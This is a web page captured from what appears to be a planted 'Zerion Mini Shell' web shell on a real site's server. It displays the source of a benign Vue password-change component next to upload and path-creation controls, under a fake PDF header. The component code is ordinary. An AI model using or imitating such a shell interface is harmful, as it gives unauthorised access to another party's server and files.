%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/components/blocks/Account/settings/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/components/blocks/Account/settings/AccountSecurity.vue

<template>
  <Block title="Security">
    <ValidationObserver ref="form">
      <form @submit.prevent="save" role="form" method="POST">
        <div class="relative mb-6">
          <label 
            class="form-label"
            for="password">Password</label>
          <ValidationProvider rules="required|password:@confirm" v-slot="{ errors }">
            <input 
              v-model="password"
              type="password"
              id="password"
              class="form-control"
              placeholder="Enter a new strong password" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
            <password v-model="password" :strength-meter-only="true"/>
          </ValidationProvider>
        </div>
        <div class="relative mb-10">
          <label 
            class="form-label"
            for="password_confirmation">Password Confirmation</label>
          <ValidationProvider name="confirm" rules="required" v-slot="{ errors }">
            <input 
              v-model="password_confirmation"
              type="password"
              id="password_confirmation"
              class="form-control"
              placeholder="Enter your new password again" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </div>
        <div class="flex items-center justify-center">
          <button 
            class="btn btn-small btn-primary rounded-full"
            type="submit">
            <span v-if="working == false">Change Password</span>
            <span 
              class="flex items-center justify-center"
              v-else>
              <svg class="animate-spin -ml-1 mr-3 h-5 w-5 text-current" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
                <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
              </svg>
              <span>Saving</span>
            </span>
          </button>
        </div>
      </form>
    </ValidationObserver>
  </Block>
</template>

<script>
export default {
  data() {
    return {
      working: false,
      password: '',
      password_confirmation: ''
    }
  },

  methods: {
    async save() {
      this.$refs.form.validate().then(success => {
        if (!success) {
          return;
        }
        
        this.working = true;
        this.$axios.$post('/account/change-password', {
          password: this.password,
          password_confirmation: this.password_confirmation
        }).then((response) => {
          this.working = false;
          this.$store.dispatch('account/progress/get', { slug: 'settings' })
          this.$toast.success(response).goAway(1500);
        }).catch(error => {
          this.working = false;
          this.$refs.form.setErrors(error.response.data.errors);
        })
      })
    }
  }
}
</script>

Zerion Mini Shell 1.0